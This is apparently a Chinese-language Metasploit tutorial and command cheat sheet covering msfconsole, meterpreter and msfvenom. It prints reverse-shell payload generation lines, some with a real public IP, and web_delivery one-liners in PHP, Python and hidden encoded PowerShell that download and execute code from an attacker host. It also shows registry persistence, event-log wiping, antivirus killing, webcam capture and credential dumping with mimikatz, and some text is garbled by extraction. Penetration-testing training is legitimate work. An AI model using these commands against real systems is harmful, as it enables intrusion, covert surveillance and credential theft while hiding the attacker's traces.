The Metasploit Framework的简称。MSF高度模块化,即框架由多个module组成,是全球最受欢迎的工具。
是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。
metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。
目录
kali-metasploit框架目录路径:
/opt/metasploit-framework/embedded/framework/
/usr/share/metasploit-framework/
kali-metasploit更新:
msfconsole-v #查看版本
apt-getupdate
apt-getinstallmetasploit-framework
data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
documentation:包含框架的可用文档。
lib:metasploit的库文件夹。
plugins:用来存放metasploit的插件。
scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
tools:存放多种的命令行实用程序。
modules:存储metasploit的模块文件。
modules目录
auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则:
操作系统/各种应用协议分类
payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
evasion:躲避模块,用来生成免杀payload
nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串(NOPSx90x90…)则会因为被拦截而导致攻击失效
进入metasploit
msfdbinit:初始化数据库
msfconsole:启动
db_status:查看是否成功连接到数据库
workspace:当前工作区
workspace-h:帮助命令
内网主机发现
db_nmap:nmap扫描
-PA:TCPACKPING扫描
-PS:TCPSYNPING扫描
-PR:ARP扫描是nmap对目标进行一个arp ping扫描的过程,尤其在内网的情况下。因为防火墙不会禁止ARP请求。
hosts:当前工作区所有主机
端口、服务、版本探测
db_nmap:nmap扫描
-T[0-5]:默认为T3,T4表示最大TCP扫描延迟为10ms
-sS:TCPSYN扫描
-sA:TCPACK扫描
-sT:TCP扫描
-A:打开操作系统探测和版本探测。
信息收集
db_nmap:nmap扫描
–script=vuln:检查是否具有常见漏洞
auxiliary/scanner:
msf>useauxiliary/scanner/portscan/syn
msf>setrhosts192.168.123.129
msf>exploit
msf>useauxiliary/scanner/discovery/arp_sweep
msf>setrhosts192.168.123.0/24
msf>setthreads20
msf>run
msf带你拿下对方电脑
search:搜索msf中相关组件
search platform:windowscve:2009 type:exploit
background:将当前session挂起
sessions[-l]:列出当前所有的session
sessions[-i] id:进入某个session
showexploits– 查看所有可用的渗透攻击程序代码
showauxiliary – 查看所有可用的辅助攻击工具
[show]options/advanced– 查看该模块可用选项
showpayloads– 查看该模块适用的所有载荷代码
showtargets– 查看该模块适用的攻击目标类型
search– 根据关键字搜索某模块
info– 显示某模块的详细信息
use– 使用某渗透攻击模块
back– 回退
set/unset– 设置/禁用模块中的某个参数
setg/unsetg– 设置/禁用适用于所有模块的全局参数
save– 将当前设置值保存下来,以便下次启动MSF终端时仍可使用
由shell转meterpreter
sessions-uid:将某个session转为meterpreter
webcam_list:查看摄像头
webcam_snap:通过摄像头拍照
webcam_stream:通过摄像头开启视频
meterpreter利用-执行&上传下载文件
execute:在目标机器执行文件
创建新进程cmd.exe,-H不可见,-i交互
upload:上传文件
meterpreter常用命令
meterpreter> background 放回后台
meterpreter> exit 关闭会话
meterpreter> help 帮助信息
meterpreter> sysinfo系统平台信息
meterpreter> screenshot 屏幕截取
meterpreter> shell 命令行shell (exit退出)
meterpreter>getlwd 查看本地目录
meterpreter> lcd 切换本地目录
meterpreter>getwd 查看目录
meterpreter> ls查看文件目录列表
meterpreter> cd 切换目录
meterpreter> rm 删除文件
meterpreter> downloadC:\1.txt1.txt下载文件
meterpreter > upload /var/www/wce.exe wce.exe 上传
文件
meterpreter> search-dc: -f *.doc 搜索文件
meterpreter> execute-f cmd.exe-i 执行程序/命令
meterpreter> ps 查看进程
meterpreter>getuid 查看当前用户权限
meterpreter> runkillav 关闭杀毒软件
meterpreter> rungetgui-e 启用远程桌面
meterpreter >portfwdadd-l 1234-p3389-r <目标IP>
端口转发
msfvenom基本参数
-p:–payload,指定特定的 Payload,如果被设置为-,那么从标准输入流中读取。几乎支持全平台。 指定操作系统
-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all
-n:–nopsled,指定 nop在 payload中的数量
-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式) php exe
-e:–encoder,指定使用编码的encoder
-a:–arch,指定目标系统架构 arm-安卓 x86 mips工业系统-路由器-交换机
–platform:指定目标系统平台 linus windows ios 安卓
-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)
-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’\0f’、’\x00’等
-i:–iterations,设置 Payload的编码次数
–smallest:尽可能生成最短的 Payload
-o:–out,保存 Payload到文件
-c:–add-code,指定一个附加的win32 shellcode文件
-x:–template,指定一个特定的可执行文件作为模板
-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行
linux:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT= -f elf > shell.elf
msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=1114 -f exe> zyl6414.exe
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=1113 -f elf > zyl6413.elf
msfvenom -p linux/x64/shell_bind_tcp LPORT=1113 -f elf > zylshell6413.elf
set proxies socks5:47.115.190.86:10088
windows:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=47.115.190.86 LPORT=8888 -f exe> 3288.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.115.190.86 LPORT=1112 -f exe> 6412.exe
mac:
msfvenom -p osx/x86/shell_reverse_tcp LHOST= LPORT= -f macho > shell.macho
msfvenom实例
msfvenom生成payload
msfvenom -p windows/meterpreter/reverse_http lhost=192.168.231.134 lport=10000 -f exe > /home/kali/shell.exe
上传wshell.exe文件并运行
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.231.134
msf5 exploit(multi/handler) > set lport 10000
msf5 exploit(multi/handler) > run
获得meterpreter
其他payload
php:
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.24.146 lport=5555 -f raw -o /root/Desktop/shell_.php
asp:
msfvenom-a x86 –platform windows -p windows/meterpreter/reverse_tcpLHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx
jsp:
msfvenom -p java/jsp_shell_reverse_tcp LHOST= LPORT= -f raw > shell.jsp
war:
msfvenom-p java/jsp_shell_reverse_tcpLHOST= LPORT= -f war >shell.war
python
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5447 -f raw -o pythonshell.py
msf5 exploit(multi/handler) > advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSessionfalse
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关
msf5 exploit(multi/handler) > set SessionExpirationTimeout0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所
有任务
msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:
msf5 > handler -H 192.168.24.146 -P 5449 -p windows/meterpreter/reverse_tcp
[
] Payload handler running as background job 1.
[
] Started reverse TCP handler on 192.168.24.146:5449
Exploit targets:
Id Name
0 Python
1 PHP
2 PSH powershell
3 Regsvr32 windows
4 pubprn VB语言
5 PSH (Binary) 二进制powershell
6 Linux
7 Mac OS X
攻击实例
命令行
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set uripath/
msf5 exploit(multi/script/web_delivery) > set payload php/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set target 1
msf5 exploit(multi/script/web_delivery) > set lhost192.168.24.147
msf5 exploit(multi/script/web_delivery) > run
[
] Exploit running as background job 0.
[
] Exploit completed, but no session was created.
[
] Started reverse TCP handler on 192.168.24.147:4444
[
] Using URL: http://0.0.0.0:8080/
[
] Local IP: http://192.168.24.147:8080/
[
] Server started.
[*] Run the following command on the target machine:
payload
php -d allow_url_fopen=true -r “eval(file_get_contents(‘http://192.168.24.147:8080/’,false,stream_context_create([‘ssl’=>[‘verify_peer’=>false,‘verify_peer_name’=>false]])));”
msf5 exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set target 0
msf5 exploit(multi/script/web_delivery) > set lport 4554
msf5 exploit(multi/script/web_delivery) > run
[
] Exploit running as background job 3.
[
] Exploit completed, but no session was created.
[
] Started reverse TCP handler on 192.168.24.147:4554
[
] Using URL: http://0.0.0.0:8080/
[
] Local IP: http://192.168.24.147:8080/
[
] Server started.
[
] Run the following command on the target machine:
python -c “import sys;import
ssl;u=
import
(‘urllib’+{2:’’,3:’.request’}[sys.version_info[0]],fromlist=(‘urlopen’,));r=u.urlopen(‘http://192.168.
24.147:8080/’, context=ssl._create_unverified_context());exec(r.read());”
[
] 192.168.24.142 web_delivery -Delivering Payload (437 bytes)
[
] Sending stage (53755 bytes) to 192.168.24.142
[
] Meterpreter session 3 opened (192.168.24.147:4554 -> 192.168.24.142:49431)
msf5 exploit(multi/script/web_delivery) > sessions
3 meterpreter python/windows source-PC\source @ source-PC 192.168.24.147:4557 ->
192.168.24.142:49309
msf5 exploit(multi/script/web_delivery) > set target 2
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lport 4554
msf5 exploit(multi/script/web_delivery) > run
[
] Exploit running as background job 2.
[
] Exploit completed, but no session was created.
[
] Started reverse TCP handler on 192.168.24.147:4554
[
] Using URL: http://0.0.0.0:8080/ZLkMQ79D
[
] Local IP: http://192.168.24.147:8080/ZLkMQ79D
[
] Server started.
[*] Run the following command on the target machine:
powershell.exe -nop -w hidden -e
WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGM
AdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8A…………AnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuAD
IANAAuADEANAA3ADoAOAAwADgAMAAvAFoATABrAE0AUQA3ADkARAAnACkAKQA7AA==
msf5 exploit(multi/script/web_delivery) > use exploit/multi/handler
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set payload windows/meterpreter_reverse_tcp
payload => windows/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > show options
msf5 exploit(multi/handler) > set lhost 192.168.123.128
lhost => 192.168.123.128
msf5 exploit(multi/handler) > set lport 6666
lport => 6666
msf5 exploit(multi/handler) > run
[
] Started reverse TCP handler on 192.168.123.128:6666
[
] Meterpreter session 3 opened (192.168.123.128:6666 -> 192.168.123.129:49345) at 2020-09-17 18:18:45
+0800
植入后门–转移pid
meterpreter > getpid
Current pid: 2728
meterpreter > ps
Process List
PID PPID Name Arch User Path
0 0 [System Process] x64
4 0 System x64
…
1116 884 phpStudy.exe x86 source-PC\source C:\phpStudy\phpStudy.exe
…
2728 5088 python.exe x64 source-PC\source C:\Python27\python.exe
…
meterpreter > migrate 1116
[-] Error running command migrate: NoMethodError undefined method `pid’ for nil:NilClass
植入后门–注册机开机启动
meterpreter > background
[
] Backgrounding session 12…
msf5 exploit(multi/script/web_delivery) > use exploit/windows/local/registry_persistence
msf5 exploit(windows/local/registry_persistence) > set session 12
msf5 exploit(windows/local/registry_persistence) > run
[
] Generating payload blob…
[+] Generated payload, 6048 bytes
[
] Root path is HKCU
[
] Installing payload blob…
[+] Created registry key HKCU\Software\6fZb03XF
[+] Installed payload blob to HKCU\Software\6fZb03XF\d4PlA0pl
[
] Installing run key
[+] Installed run key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\4M6sZW9V
[
] Clean up Meterpreter RC file:
/root/.msf4/logs/persistence/192.168.24.142_20200527.0946/192.168.24.142_20200527.0946.rc
清除痕迹
meterpreter > clearev
[
] Wiping 3184 records from Application…
[
] Wiping 0 records from System…
[*] Wiping 0 records from Security…
meterpreter >
MSF信息收集
run scraper
/root/.msf4/logs/scripts/scraper
run winenum
/root/.msf4/logs/scripts/winenum
后渗透
meterpreter获取hash
• Hashdump
use post/windows/gather/hashdump //system权限的meterpreter
set session 1
exploit //结果保存在tmp目录下
use post/windows/gather/smart_hashdump
set session 1
exploit
• Mimikatz
Hashdump使用的是mimikatz的部分功能
Load mimikatz
获取用户密码的hash值
wdigest 、kerberos 、msv 、ssp 、tspkg 、livessp
mimikatz_command -h
mimikatz_command -f :: //查询有哪些模块
mimikatz_command -f samdump::hashes //从windows的sam文件中读取密码hash值
mimikatz_command -f sekurlsa::searchPasswords //获取明文密码
mimikatz_command -f samdump::bootkey